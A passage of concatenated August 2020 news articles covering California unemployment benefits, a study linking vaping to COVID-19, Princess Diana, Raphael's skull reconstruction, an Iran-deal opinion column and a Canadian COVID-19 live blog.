that he'd hoped to see passage of the Congressional Democrats' plan to extend the $600 per week in federal benefits. He said $400 per week is better than nothing -- but the federal government would need to front the full cost in order for California to participate. Otherwise, he estimated it would cost California $700 million per week to implement Trump's plan. "The state does not have an identified resource of $700 million per week that we haven't already obliged," Newsom said. "There is no money sitting in the piggy bank." Even if California were to enact Trump's plan, many freelancers and low-income workers in the state would be left out. That's because the President's order requires unemployment recipients to receive "at least $100 per week" through existing state unemployment programs. Anyone earning less would not qualify for the extended federal benefits. 'I DON'T KNOW HOW I'M GOING TO SURVIVE' Woodland Hills resident Judith Pomposo earns the vast majority of her income from running a small promotional products business, making things like t-shirts, business cards and uniforms for other companies. But she's getting just $67 in state unemployment benefits because, like many self-employed workers, she also has a part-time job on the side working as a restaurant hostess. She earns W-2 employment wages through that job. And under state rules, that was the only source of income used to calculate her benefits. "I can't live off of $67 a week," Pomposo said. "I'm a single parent, and I don't know how I'm going to survive." Culver City freelance makeup artist Veronica Sinclair is in the same situation, earning just $77 per week based on a small number of makeup jobs that paid her as a W-2 employee. She said her savings could last a few more months. But it doesn't look like her industry will recover anytime soon, and she doesn't know what other kind of work she'll be able to find. "I feel completely unsure about how I'm going to pay my bills," Sinclair said. "I feel really frustrated. There are people that are just being left in the dust, and I'm one of those people." WE ARE HERE TO HELP: HOW TO (NEW) LA Vaping is linked to a substantially increased risk of COVID-19 among teenagers and young adults, according to a new study led by researchers at the Stanford University School of Medicine. The study, which was published online Aug. 11 in the Journal of Adolescent Health, is the first to examine connections between youth vaping and COVID-19 using U.S. population-based data collected during the pandemic. Among young people who were tested for the virus that causes COVID-19, the research found that those who vaped were five to seven times more likely to be infected than those who did not use e-cigarettes. Teens and young adults need to know that if you use e-cigarettes, you are likely at immediate risk of COVID-19 because you are damaging your lungs, said the studys senior author, Bonnie Halpern-Felsher, PhD, professor of pediatrics. 'Not just a small increase in risk Young people may believe their age protects them from contracting the virus or that they will not experience symptoms of COVID-19, but the data show this isnt true among those who vape, said the studys lead author, postdoctoral scholar Shivani Mathur Gaiha, PhD. This study tells us pretty clearly that youth who are using vapes or are dual-using [e-cigarettes and cigarettes] are at elevated risk, and its not just a small increase in risk; its a big one, Gaiha said. Data were collected via online surveys conducted in May. Surveys were completed by 4,351 participants ages 13 to 24 who lived in all 50 U.S. states, the District of Columbia and three U.S. territories. The researchers recruited a sample of participants that was evenly divided between those who had used e-cigarettes and those who had never used nicotine products. The sample also included approximately equal numbers of people in different age groups (adolescent, young adult and adult), races and genders. Participants answered questions about whether they had ever used vaping devices or combustible cigarettes, as well as whether they had vaped or smoked in the past 30 days. They were asked if they had experienced COVID-19 symptoms, received a test for COVID-19 or received a positive diagnosis of COVID-19 after being tested. Results adjusted for confounding factors The results were adjusted for confounding factors such as age, sex, LGBTQ status, race/ethnicity, mothers level of education, body mass index, compliance with shelter-in-place orders, rate of COVID-19 diagnosis in the states where the participants were residing, and state and regional trends in e-cigarette use. Princess Dianas marriage to Prince Charles has been the topic of countless books and magazine articles for four decades. Even more than twenty years after her death, the discussion about the tumultuous relationship continues. One royal biographer claims that Diana wanted to prove that Charles loved her despite his affair with Camilla Parker Bowles. Prince Charles and Princess Diana | Tim Graham Photo Library via Getty Images Princess Diana didnt take her relationship with Prince Charles seriously at first Its no secret that Prince Charles has been in love with Camilla, Duchess of Cornwall, for years. They met before Charles met Diana, and their love affair continued throughout his marriage to the Peoples Princess. According to Express, when Charles first met Diana there was an attraction, but he gave her the silent treatment after they started spending time together. Prince Charles And Princess Diana During A Royal Tour In Toronto, Canada | Tim Graham Photo Library via Getty Images RELATED: Princess Diana Lost More Than Her Title When She Divorced Prince Charles In a recording with royal biographer Andrew Morton, Diana told a story from her early days with the Prince of Wales. She said that Charles invited her to spend a few nights at Petworth, where he was staying. Princess Diana said that Charles was all over me again, and it was very strange. The next minute he leaped on me practically, and I thought this was very strange, too. When Charles proposed not long after, Diana says she laughed because she didnt think he was serious. Charles gave Diana the silent treatment during their engagement Just two days after Charles proposed, Diana traveled to Australia with her mom. She explained that the purpose of the trip was to settle down and prepare for her wedding. However, during the three weeks that she was in Australia and away from Prince Charles, he never called her. I pined for him but he never rang me up, Diana told Morton. I thought that was very strange, and whenever I rang him, he was out, and he never rang me back. The Prince and Princess of Wales | Terry Fincher/Princess Diana Archive/Getty Images RELATED: Queen Elizabeth Urged Prince William To Be Careful With Kate Middleton, Did Not Want Another Charles And Diana Situation As the heir to the throne, Diana knew that Prince Charles was a busy man. But still, she had a feeling something wasnt right. Diana explained that at just 19-years-old, she was too immature to understand all the messages coming my way. Diana noted that she wanted to break off her engagement but never did. She also revealed that Charles relationship with Camilla was something they fought about often. Princess Diana wanted to prove that Prince Charles loved her Charles and Diana were married for 15 years and welcomed two children Prince William and Prince Harry before they finalized their divorce in 1996. In his 1994 book Prince of Wales: A Biography, writer Jonathan Dimbleby claimed that Charles proposed to Diana because his dad, Prince Philip, gave him an ultimatum. Diana was extremely upset by the suggestion that her father-in-law forced Charles to marry her, and Piers Morgan says it pushed Diana into a final act of desperation. Princess Diana and Prince Charles in 1987 | Georges De Keerle/Getty Images RELATED: Queen Elizabeth Allowed Princess Diana To Humiliate Prince Charles One Final Time After Their Nasty Split According to Express, Morgan revealed that someone from the palace contacted him to let him know that the Princess of Wales would be okay with certain pictures being published that were previously thought to be too intrusive. Morgan asked why Princess Diana would have no argument if he published the photos. To which she replied, Because they prove he loved me. Its extraordinary she would do this, but also an indication of how hurt shes been by this particular revelation, said Morgan. Sooraj Pancholi's mother Zarina Wahab had earlier denied rumours linking her son with Rajput's death. Actor Sooraj Pancholi has submitted a complaint to Mumbai Police over him being linked to the case of death of fellow actor Sushant Singh Rajput, an official said on Tuesday. In his complaint submitted at Versova police station on Monday, 10 August, Pancholi said he is being defamed on various social media platforms, including Facebook, Twitter and Instagram, by being linked to Rajput's death, he said. "We have received an application from Sooraj Pancholi and an enquiry is on," Versova police station's senior inspector Raghvendra Thakur said. So far, no offence has been registered (in connection with Pancholi's complaint), the official said. There were recently some social media messages, screenshots and derogatory content allegedly linking Pancholi to the death of Rajput and the latter's former manager Disha Salian. Pancholi's mother Zarina Wahab earlier denied rumours linking her son with Rajput's death. Rajput, 34, was found dead at his apartment in suburban Bandra on 14 June. Salian, 28, allegedly died by suicide in Malad on 8 June, according to police. The Mumbai Police have so far recorded statements of more than 50 people, including Rajput's sisters, his friend and actress Rhea Chakraborty and some other film personalities in connection with his death. Rajput's father KK Singh on 25 July lodged a complaint with Patna police against Chakraborty and her family members, accusing them of abetting the actor's suicide. The CBI last week re-registered this FIR as a fresh case and named as accused the same people. Singh also alleged financial irregularities in bank accounts of his son. The Enforcement Directorate has questioned Chakraborty, Rajput's friend and roommate Siddharth Pithani, the late actor's business manager Shruti Modi and some other persons in connection with a money laundering case linked to his death. Kin Man Hui /San Antonio Express-News Metallica is preparing to pre-record a concert that will be shown Aug. 29 at hundreds of drive-ins across the country, including two in the San Antonio area, the heavy metal band announced Monday on Facebook. The pre-recorded show will be the first time the band has played together since their concerts in San Francisco in September 2019, according to a news release from Encore Live. Renaissance master Raphael gave himself a nose job in his 1506 self-portrait, according to researchers who created a 3D reconstruction of his skull. Scientists from Rome University produced the reconstruction of the great artist's face from a plaster cast of what is thought to be his skull that was made in 1833. This was the year the remains of Raphael - dubbed 'the divine one' by his contemporaries because he always sought perfection - were last exhumed. 'The 3D model shows the eyes and mouth (in the portraits) are his, but he has been kind to himself about his nose,' said said Professor Mattia Falconi, a molecular biologist at the university's Tor Vergata campus. 'We know that Raphael often painted himself younger than his years, and this model allows us to see him as he really was'. Scientists from Rome University produced the reconstruction of the great artist's face from a plaster cast of what is thought to be his skull that was made in 1833 This was the year the remains of Raphael - dubbed 'the divine one' by his contemporaries because he always sought perfection - were last exhumed Raphael died in Rome in 1520 aged 37, probably from pneumonia, and was buried in Rome's Pantheon - his self-portrait was completed 15 years before he died. It normally hangs in Florence's Uffizi gallery but is currently in Rome for an exhibition marking the 500th anniversary of his death - he was clean-shaven in the artwork. The portrait features the more aquiline nose that Raphael also included in other self-portraits, but the reconstruction reveals he made a 'slight change'. 'He certainly made his nose look more refined,' said Professor Falconi. The reconstruction shows how he may have looked closer to his death, when he wore a beard - compared to the clean shaven 22-year-old. Raphael died in Rome in 1520 aged 37, probably from pneumonia, and was buried in Rome's Pantheon - his self-portrait was completed 15 years before he died Falconi, along with forensic anthropologists and other experts, reconstructed the face with tissue layering techniques used by crime investigators. The result was a face similar to that of the master on an engraving by Marcantonio Raimondi, one of his students. 'When we finished, I said to myself 'I've seen that face before,'' Falconi explained. Another similarity is with the subject of 'Portrait of a Man,' painted between 1512 and 1515 by Sebastiano del Piombo, a Raphael contemporary and rival. For centuries there has been speculation that the bones exhumed in 1833 and reburied in a re-styled crypt may not have been Raphael's because some of his students were later buried near him. Falconi believes the research points to an around 85 per cent chance that the skull is Raphael's because of similarities with most of the artist's face as depicted by him and his contemporaries. However, an art critic for the Rome newspaper La Repubblica dismissed the study, claiming the researchers had produced a cheap 'videogame version' of Raphael. Falconi said he hoped the tomb will be opened again someday for direct tests on the skull, to get a better picture of the 'real Raphael'. This could resolve several mysteries, including confirming what caused his death. The reconstruction is of the way he may have looked closer to his death, when he wore a beard - compared to the clean shaven 22 year old Falconi believes the research points to an around 85 per cent chance that the skull is Raphael's because of similarities with most of the artist's face as depicted by him and his contemporaries A project to re-exhume the body this year was put on hold due to the coronavirus pandemic, but if it resumes Falconi said his team would be interested in seeing how faithful the artist was to his real self. A life-size 3D-printed bust of the man dubbed the 'Prince of Painters' by fellow artist and famed 16th-century biographer Giorgio Vasari will go on display at the museum at his birthplace in Urbino in Italy's Marche region. Despite his premature death, Raphael produced a vast oeuvre of seminal work, much of it at the Vatican, whose opulent museums include several rooms filled with his frescoes. Completed by Raphael's students after his death, they remain some of the Vatican's most popular rooms. Flagging fears that the country's GDP growth may even touch its lowest since independence in the backdrop of coronavirus pandemic, Infosys founder N R Narayana Murthy on Monday said the economy should be brought back on track and people should be prepared to live with the pathogen. He also pitched for developing a new system that should allow every player in every sector of the country's economy to operate at full steam with suitable precautions. "India's GDP is expected to shrink by at least five per cent. There is a fear that we may even reach the lowest GDP (growth) since independence, since 1947," Murthy said. The software icon was participating in a discussion on 'Leading India's Digital Revolution' during the 16th edition of Institute of Engineering and Technology's India Digital Conversations held virtually. "The global GDP has gone down. Global trade has shrunk, global travel has almost disappeared. The global GDP is likely to shrink between 5 per cent and 10 per cent," he said. Murthy said that right from the first day of the national lockdown on March 24 his view had been that people have to be prepared to live with the virus for three reasons -- there is no vaccine, no cure for coronavirus and the economy cannot be brought to a halt. The earliest possible vaccine was from Oxford University, which may be available in the country anywhere from six to nine months, he said. "But even if we are able to vaccinate 10 million people a day, it is going to take 140 days to vaccinate all the Indians. That is a long period to prevent the spread of the disease," Murthy said. "...we cannot make the economy come to a halt. Over all, 140 million workers have been affected by this virus. So the smartness is in defining a new normal. This normal should allow our economy to grow while moving on the earth and fighting the virus," the tech leader said. Stressing on developing a new system to deal with the current situation, he also laid emphasis on creating a health infrastructure for vaccinating everybody once a vaccine was available and working towards a cure for the new virus. "India has traditionally not invested sufficiently in public health. We have severe shortage both in talent and in material for a robust public health system. The state of our Institute of Public Health is a good data point," said Murthy. In the given system, Murthy said, social distancing, and use of masks were the best way to combat the virus. He, however, lauded the country for having done a decent job under the present circumstances. To bring the economy back on track, the Infosys founder suggested getting back the 140 million migrant workers who have gone back to their villages to their workplaces, mostly in urban India. His second advice was increasing the number of hospital beds and adding equipment for testing and taking care of the projected number of Covid-19 patients for three months and six months from now. "Even today there is a severe shortage of Covid-19 care facilities in second tier and third tier towns," said Murthy lamenting the demise of one of his relatives due to coronavirus in Hubballi, a north Karnataka tier-2 city and district headquarters. The 74-year-old tech leader also favoured amending laws and providing infrastructural facilities for companies which cannot use the work-from-home paradigm and increasing the public transport and public safety facilities for businesses and the public to operate 24 hours. EAST LANSING, MI Michigan State University students must practice two weeks of enhanced physical distancing before returning to campus this fall, MSU President Samuel Stanley said Monday. This 14-day period is crucial to mitigating the spread of COVID-19 within the MSU community, Stanley said in a statement. Students are asked to stay home as much as possible the two weeks before coming to campus, take their temperature twice a day, wear face coverings, wash their hands frequently, as well as follow physical distancing guidelines. Students traveling from a U.S. state with a high risk level of active or imminent outbreak or a country with a COVID-19 outbreak status should self-quarantine for 14 days before coming to campus, the statement reads. MSU has put numerous mitigating measures in place for the upcoming academic year to help reduce the transmission of the virus and protect (everyone) as much as possible, the statement reads. Together, we all have a vital role in doing our part, wearing face coverings both inside and outside maintaining physical distance, performing proper personal hygiene and caring for ourselves and one another. The University of Michigan enacted a similar requirement for students, which asked them to stay home for 14 days before returning to the Ann Arbor campus. UM students said they expect a majority of their peers to follow the guidelines, but there will be a population that doesnt really care. University of Michigan students unsure if enhanced social distancing requirement will be effective MSU faculty and staff are asked to fill out the official health screening form before returning to campus, and Stanley said students will be required to complete the daily health screening before moving around campus as well. MSU is maintaining a close partnership with Sparrow Health System to perform COVID-19 testing for the MSU community, the statement reads. MSU Health Care Inc. is organizing drive-through and mobile collection sites to collect nasal swabs. The university also is launching a COVID-19 community detection program, in which it will collect saliva samples from students, faculty and staff throughout the semester to analyze and identify the presence of the virus in people who are asymptomatic, the statement reads. This technique allows us to process a large volume of samples, identifying carriers of the virus before outbreaks occur, the statement reads. Participants will receive information about their own COVID-19 status while helping health leaders identify and manage potential locations on campus that may become hot spots for spreading the virus. MSU is encouraging everyone to enroll in this program, especially those who are going to live on campus or visit regularly. More information on the COVID-19 community detection program can be found here. The university also is analyzing campus wastewater for the presence of COVID-19 to help pinpoint potential areas for intervention, the statement reads. All classrooms, restrooms, hallways, stairways and entryways are being cleaned multiple times a day with a strong emphasis on door handles, handrails and elevator buttons, according to the statement. Starting Aug. 17, nonacademic events and activities are allowed to start on campus, the statement reads. Any in-person gathering must provide a virtual option for those who do not wish to join face-to-face, and indoor, in-person gatherings are limited to 10 people, while outdoor gatherings are limited to 100 people. Whether we are six feet apart or you are 6,000 miles away, I want to make sure everyone feels part of a successful and socially engaged fall semester at MSU. In that spirit, the university is working to create the best possible working and learning environment for our Spartan family. We will continue to make your health and safety our top priority, Stanley said. Classes for the fall semester begin Sept. 2 and include both in-person and online classes, MSU announced in May. All in-person instruction will end Nov. 25 with remaining instruction, including final exams, done remotely for the remainder of the semester. READ MORE: Students will return for fall semester, Michigan State University president says Multiple students living in Michigan State Universitys Holmes Hall test positive for COVID-19 Michigan State football has pretty clean first practice of fall camp (Bloomberg Opinion) -- Speaking at a fundraiser in New Jersey over the weekend, President Donald Trump predicted that he would have a new nuclear deal within four weeks if re-elected in November. In one sense, this is typical bluster from a president who has recently mused that his face should be carved on Mount Rushmore. At the same time, it highlights both a risk about a second Trump term and a truth about the Iranian regime his administration has pressured since taking office. First, consider the risk. Trump has always explained his maximum pressure campaign as an effort to coerce Tehran to submit to better terms. By itself, there is nothing wrong with that. The 2015 nuclear deal forged by Trumps predecessor was weak. Key limitations on the technology and scale of Irans enrichment program expired over time. And Trumps campaign has steadily increased pressure on the regime. The remaining loopholes in U.S. sanctions against Iran have been closed, and Irans most important general has been killed. Meanwhile, the U.S. is planning to introduce a U.N. Security Council resolution to extend an arms embargo on Iran set to expire in October. But Trump is also prone to flattery, and has expressed desperation for a diplomatic win. As former National Security Adviser John Bolton wrote in his memoir this year, the president was interested in making a deal he could characterize as a huge success, even if it was badly flawed. Now consider the truth about the Iranian regime. Veterans of former President Barack Obamas administration and Americas European allies have been scathing about Trumps maximum pressure policy. In part they defend the 2015 deal, but they also say Trumps current policy is not the way to get a better deal with Iran. Nonetheless, this is exactly the approach that Obama took against Iran although he did not call it a maximum pressure campaign. After discovering a hidden uranium enrichment facility in 2009, the administration and Congress increased sanctions over time in a gambit to bring the Iranians to negotiations. When the first preliminary deal was struck in 2013, only some of those sanctions were lifted. Economic warfare was waged to get a better deal. Story continues Presidential elections are, of course, a binary choice. If you are worried about what kind of deal Trump may negotiate with Iran, then you might also be concerned that former Vice President Joe Biden would simply re-enter the one that Trump exited. But Biden has been more cautious than one might expect. The Biden campaign has not pledged, for example, to re-enter the deal unconditionally. If Iran moves back into compliance with its nuclear obligations, Biden told the New York Times last spring, the U.S. would re-enter the 2015 agreement. He also added that this would be a starting point to work alongside our allies in Europe and other world powers to extend the deals nuclear constraints. For voters who have supported Trumps tough line on Iran, this presents a dilemma. Who would make a better deal with Iran: a mercurial president who has shown little interest in details and policy, or a former vice president whose administration negotiated a weak one in the first place? Put another way: Do you go with the devil you know, or the devil you once knew? (Corrects the location of the fundraiser in the first paragraph.) This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Eli Lake is a Bloomberg Opinion columnist covering national security and foreign policy. He was the senior national security correspondent for the Daily Beast and covered national security and intelligence for the Washington Times, the New York Sun and UPI. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. KEY FACTS 1 p.m. Premier Doug Ford has announced he is fast-tracking the building of a long-term-care home at Humber River Hospital 10:50 a.m. Ontario reported just 33 new cases of COVID-19 on Tuesday. 9:30 a.m. Russia approved a coronavirus vaccine for use in tens of thousands of its citizens despite international concerns. The latest coronavirus news from Canada and around the world Sunday. This file is no longer updating. Click here to read the latest. Web links to longer stories if available. 9:19 p.m. Students in British Columbia wont head back to classrooms on the originally planned date of Sept. 8 as the provincial government looks to a more gradual return. Children will be welcomed back to class later in the second week of September after staff reviewed the latest BC Centre for Disease Control guidelines and school operation policies for COVID-19, Education Minister Rob Fleming said Tuesday. Having the restart week staged in some kind of manner that would have staff teams together for a couple days before we gradually welcome kids back to make sure that every school all 1,500 of them in the province are truly ready to welcome students is a good idea, and thats the approach that well be taking, he said. No official date has been set for children to return to schools. 5:09 p.m. Quebec Premier Francois Legault says he doesnt think a potential second wave of COVID-19 will strike as hard as the first one did in Canadas worst-hit province. Legault said many of the infections occurred in the early weeks when infected employees brought the virus into long-term-care homes and seniors residences while not wearing proper protective equipment. I think that if we have a second wave, we will be a lot better prepared, Legault told reporters in Mascouche, Que., on Tuesday. And those workers will be wearing masks when meeting with patients, which he said wasnt always the case early on in the pandemic and contributed to the 5,000 deaths in nursing homes. I think well be more ready for that, he said. 4:25 p.m. The Pan American Health Organization has expressed reservations over reports that institutions in the region were negotiating to manufacture and distribute a new COVID-19 vaccine announced by Russia that has yet to go through standard, extensive safety and efficacy trials. The organizations deputy director, Jarbas Barbosa, said in an online news conference Tuesday from Washington that any vaccine should be carefully evaluated to ensure the product is safe and effective. In Brazil, Parana states government said it is negotiating with the Russian embassy to participate in the development of a COVID-19 vaccine, and will be holding a technical meeting Wednesday with Russias ambassador. Nicaragua earlier announced plans to produce a Russian vaccine and on Monday, Vice-President Rosario Murillo, wife of President Daniel Ortega, again said the country was in contact with Russian institutions to produce and even export a COVID-19 vaccine. Barbosa said the vaccine has not yet gone through all the steps needed so that it could be recommended by the World Health Organization or the Pan American Health Organization. He said global health officials were talking with Russian officials to review their data and clinical trials. Only after that review, having access in a transparent way to those data and all the information, are we going to take a position, he said. 4:25 p.m. New Hampshire Gov. Chris Sununu has issued an executive order requiring masks to be worn at scheduled gatherings of more than 100 people. Sununu, a Republican, had resisted calls to mandate the use of face coverings to prevent the spread of the new coronavirus. With Tuesdays order, all six New England states have some kind of mask mandate. In general, they are far more restrictive than New Hampshire and require masks to be worn in public when social distancing isnt possible. The order will be tested later this month at the annual Laconia Motorcycle Week, which typically attracts thousands of people to the state. Sununu recently formed a task force on ensuring safety at the event, which is set for Aug. 22-30. 4:25 p.m. Oklahoma Gov. Kevin Stitt, the first governor in the nation to test positive for the coronavirus, says he has donated plasma to help other virus patients recover. Stitt says he made the donation recently at an Oklahoma Blood Institute centre in Enid. Convalescent plasma is being researched as a potential treatment for the virus. Tulsa County Commissioner Karen Keith was infected with the virus and she says shes donated plasma. Oklahoma has reported 44,728 confirmed cases of coronavirus and 618 deaths. 4:16 p.m., Windsor will reopen cautiously this week, the citys mayor said Tuesday, adding that he will not hesitate to ask for additional resources if local COVID-19 cases surge. Mayor Drew Dilkens said the entire Windsor-Essex region, which has been left behind in the economic reopening because of virus outbreaks on local farms, is feeling relief as it prepares to move to Stage 3 on Wednesday. Local businesses have suffered from the prolonged delay and the city has a $30 million budget hole because of the pandemic, Dilkens said. No one wants to be in last place, he said. When youre the last one to move forward, theres a spotlight thats shone on you. I know just talking to business people here in our community, they have been struggling. On Monday, Premier Doug Ford announced that Windsor-Essex would proceed to the Stage 3 of reopening, meaning all of Ontario will have progressed to the final part of the provinces pandemic recovery plan. 4:04 p.m. The chief public health officer says Canada will not cut corners to get a vaccine for COVID-19 approved. Dr. Theresa Tam says she has full confidence in Health Canadas process to approve a vaccine. She says she is cautiously optimistic that will happen soon but says safety will not be compromised to get there. Her words come as Russia approved the worlds first COVID-19 vaccine Tuesday. Her deputy, Dr. Howard Njoo, says the Russian product went from discovery to approval unusually fast. He says there is not really any information available about the safety or effectiveness of the Russian vaccine or how many people were involved in the testing. 4:02 p.m. New Brunswick reported a case of COVID-19 on Tuesday, ending a four-day stretch without new instances of the illness. The case involves an individual in their 40s in the Fredericton area, with no details provided on the source of infection. Premier Blaine Higgs said during a news conference that while there is a lull in infection levels in the province, citizens dont have to look far to see that spread can erupt quickly, noting continuing cases in Western Canada. Tuesdays new case means there are currently seven active cases in the province. The other active cases were identified last week, all involving temporary foreign workers who arrived in Moncton and began immediately self-isolating. Dr. Jennifer Russell, the provinces chief medical officer of health, said effective Monday, physical distancing in public seated venues can be reduced to one metre, as long as a face mask is worn at all times. Restaurants and bars will still be required to enforce two metres of distancing. 2:08 p.m. Lawyers contesting Newfoundland and Labradors travel ban say the policy is arbitrary and violates mobility rights guaranteed in the charter. Closing arguments began Tuesday in provincial Supreme Court in a challenge of restrictions imposed last spring to limit the spread of COVID-19. The Canadian Civil Liberties Association and Halifax resident Kim Taylor allege the measures restricting entry to residents and essential workers violate the Charter of Rights and Freedoms and fall outside the provinces jurisdiction. Taylors lawyer, John Drover, told the St. Johns courtroom that Newfoundland and Labrador is the first province to shut its borders to other Canadians, adding that a closer analysis is needed of mobility rights in Canada. He said the policy goes against the Constitution Act and the charter. 2:07 p.m. Lebanon has registered a record of coronavirus cases and deaths as the number of patients increase in the country that had a deadly explosion last week. Cases in Lebanon have been increasing since early July when Beiruts international airport was reopened and a lockdown was eased. The health ministry on Tuesday say 307 people tested positive, raising the total registered cases to 7,121 since the first case was reported in late February. The ministry reported seven new deaths, raising the confirmed total to 87. Dr. Firas Abiad, director general of Rafik Hariri University Hospital, told The Associated Press last week that the number of cases is expected to rise in the coming days following the Aug. 4, explosion that killed and wounded thousands of people. He says crowding in hospitals, where thousands of wounded were rushed would raise the numbers. 2:07 p.m. The regional government in Spains Canary Islands says more than 85% of new coronavirus infections detected during the past week were among people under 30 years old. Regional health chief Blas Trujillo says the new COVID-19 cases resulted from leisure time and family get-togethers without social distancing. He says the constant appearance of new cases 85 in the previous 24 hours could bring a return to an economically damaging lockdown. Even though most young people were asymptomatic, contact tracing requirements overload the health system and the colleagues of those testing positive have to stay at home. 2:07 p.m. Italys new cases of coronavirus increased 412 on Tuesday. Sicily had the highest number with 89 after 64 migrants tested positive at a screening centre. That brings to 73 the number of migrants in the Pozzallo centre who are currently positive for the virus. After weeks of new cases averaging in the 200-300 range, confirmed new infections have spiked up as more people travel for summer, with people returning from beach vacations abroad testing positive as well as seasonal workers. Italys total cases have reached more than 251,000. Six more deaths were reported Tuesday, with total confirmed deaths at more than 35,000. 1:40 p.m. Georgia school district has quarantined more than 800 students because of possible exposure to the coronavirus since it resumed in-person teaching last week, officials said Tuesday. The Cherokee County School District has also quarantined 42 staff members since the start of the year on Aug. 3, according to data the district posted online. Located about 30 miles (58 kilometres) north of Atlanta, the district serves more than 42,000 students. News of the quarantines came a day after Georgia Gov. Brian Kemp said that the reopening of some of the states schools amid the coronavirus outbreak has gone well except for the widely shared photos of students crowded together without masks. The viral photos showed students standing shoulder to shoulder in crowded hallways at North Paulding High School northwest of Atlanta and squeezed together for first-day-of-school senior photos at two high schools in Cherokee County, including Etowah, which has had 296 students and eight staff members told to quarantine. None of the students in the photos wore masks. Democrats strongly pushed back against Kemps assessment that school reopenings were proceeding safely, blaming him and President Donald Trump for failures. Fifty students, teachers and staff members in the Cherokee County School District have tested positive for the virus so far, though its not clear whether any of them were infected at school. 1:34 p.m. It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double. The worldwide count of known COVID-19 infections climbed past 20 million on Monday, with more than half of them from just three countries: the U.S., India and Brazil, according to the tally kept by Johns Hopkins University. The average number of new cases per day in the U.S. has declined in recent weeks but is still running high at over 54,000, versus almost 59,000 in India and nearly 44,000 in Brazil. The severe and sustained crisis in the U.S. over 5 million cases and 163,000 deaths, easily the highest totals of any country has dismayed and surprised many around the world, given the nations vaunted scientific ingenuity and the head start it had over Europe and Asia to prepare. South Africa, Colombia, Mexico, Peru, Argentina, Russia and the Philippines round out the list of the top 10 countries contributing the most new cases to the global tally since July 22, according to an Associated Press analysis of Johns Hopkins data through Monday. 1 p.m. Premier Doug Ford has announced he is fast-tracking the building of a long-term-care home at Humber River Hospitals Finch site in Toronto. The project, part of Accelerated Build Pilot Program, will add 320 beds by the end of 2021. Mayor John Tory, who joined Ford at the announcement, says expediting construction of long-term care homes at wartime speed is encouraging. 12:48 p.m. The mayor of Windsor, Ont., says his city will proceed cautiously to Stage 3 of reopening, and will ask for additional resources if local cases increase in the coming weeks. Drew Dilkens says he is confident that declining COVID-19 cases in the region over the last week make it safe to reopen further. The Windsor-Essex region, which has been held back because of outbreaks on local farms, will proceed to Stage 3 of the provinces reopening framework on Wednesday. The local health unit says there are 131 active COVID-19 cases in the community 63 of them among agri-food workers. The medical officer of health, Dr. Wajid Ahmed, says on-farm testing has taken place at 38 of the 176 regions farms. The local health unit reports five farms remain in outbreak along with four manufacturing businesses. 12:15 p.m. Florida is reporting 276 new deaths from the coronavirus, raising total confirmed deaths in the state to 8,685. The states health department reported about 5,800 cases on Tuesday. The new deaths bring Floridas seven-day average in daily reported deaths to 165 down from a high of 185 a week ago. Texas averaged 210 deaths in the past week. The number of patients treated in Florida hospitals for the coronavirus stands at 6,729, down nearly 30 per cent from highs of 9,500 last month. 12:15 p.m. A Kentucky congressman says he has tested positive for coronavirus antibodies and plans to donate his plasma. The Courier-Journal reports Republican U.S. Rep. Thomas Massie made the comments last week on the radio show of political commentator Glenn Beck. Massie said he took a coronavirus test and an antibodies test at the end of July and received a positive result for the latter. At least 11 members of Congress are known to have tested positive for the coronavirus. Massie told Beck he is convinced he had the virus in January and described being sick with a fever, sore throat and low energy. 12:15 p.m. Mexicos foreign affairs minister says the government has agreements with three companies to carry out advanced clinical trials for potential coronavirus vaccines in Mexico this fall. Secretary Marcelo Ebrard says Mexico had memoranda of understanding with Janssen Pharmaceuticals of the United States and the Chinese companies Cansino Biologics and Walvax Biotechnology. He says the agreements would guarantee Mexicos access to a vaccine if they prove successful. Ebrard says the trials would be carried out between September and January. In total, Mexico is talking to 15 companies about potential trials. Mexico has more than 53,000 confirmed deaths from the coronavirus, the third highest in the world behind the United States and Brazil. 12:15 p.m. The French government is urging local officials to impose more mask requirements and extending a ban on large gatherings through October as virus infections rise again. Prime Minister Jean Castex says the situation has been evolving in the wrong direction for two weeks and warned that tougher action is essential to avoid losing control over the virus and a return to major new confinement. Interrupting his holiday, President Emmanuel Macron convened a special security meeting Tuesday to discuss virus measures. France has reported more than 10,000 new confirmed cases in the past week. France has 30,300 virus-related deaths, seventh highest in the world. 11:30 a.m. The daily number of COVID-19 cases reported in Quebec is under 100 for the second consecutive day. Quebec reported 91 cases of the disease linked to the novel coronavirus today and one COVID-19-related death. The province has reported a total of 60,718 cases and 5,697 deaths attributed to the virus. Hospitalizations also dropped in the last 24 hours, with 151 patients being treated for the disease, a reduction of six. Of those patients, 21 are in intensive care, the same number as yesterday. 10:50 a.m. Ontario reported just 33 new cases of COVID-19 on Tuesday. Thats the lowest number since March 18, one day after the province was plunged into a pandemic state of emergency that lasted until July 24. There were no coronavirus deaths reported for the second day in a row. Health Minister Christine Elliott said Tuesday the low number includes routine data cleanup by Toronto Public Health, which removed 21 cases, such as duplicates, that had previously been included in daily case counts. Read the full story from the Stars Robert Benzie: Ontario reports just 33 new cases of COVID-19, no new deaths 10:18 a.m. U.S. Health and Human Service Secretary Alex Azar has redoubled accusations that China failed to adequately warn of the coronavirus after it was first detected in Wuhan. Azar says Chinas ruling Communist Party had the chance to warn the world and work with the world on battling the virus. But they chose not to, and the costs of that choice mount higher every day. The Trump administration has repeatedly accused China of withholding information from the U.N. World Health Organization and the international community as the virus began to take hold. China denies the charge, saying it communicated information as soon as it had it, although records appear to show new cases werent being tabulated during a key meeting of the provincial legislature. Since then, the U.S. has announced it will withdraw from the WHO. Azar says Beijing had been lobbying against an investigation into the origins of the virus along with reforms desperately needed to make WHO a more effective institution. Azar, the highest-level U.S. official to visit Taiwan since formal relations between the sides were severed in 1979, praised Taiwans response to the coronavirus. 10:18 a.m. A Swedish official says schools should expect a tough fall as children return next week after the summer break. Sweden opted for the approach of keeping large parts of the society open in the spring when the coronavirus outbreak ran across Europe. Sweden didnt close its schools. Peter Fredriksson, head of the National Agency for Education, says the school challenges remain great, and it applies to teachers and students. He says it is up to the local authorities and schools to work out how to practically plan for the return. The infection rate is declining in Sweden, which health authorities say is thanks to citizens voluntarily adhering to social distancing. Swedish guidelines say people must keep a distance from others in indoor and outdoor locations such as shops, offices and museums. Wearing a mask is also voluntary. Sweden on Tuesday reported four new deaths, bringing the total confirmed toll to 5,770. 10:18 a.m. The Dutch public health institute reports 4,036 new 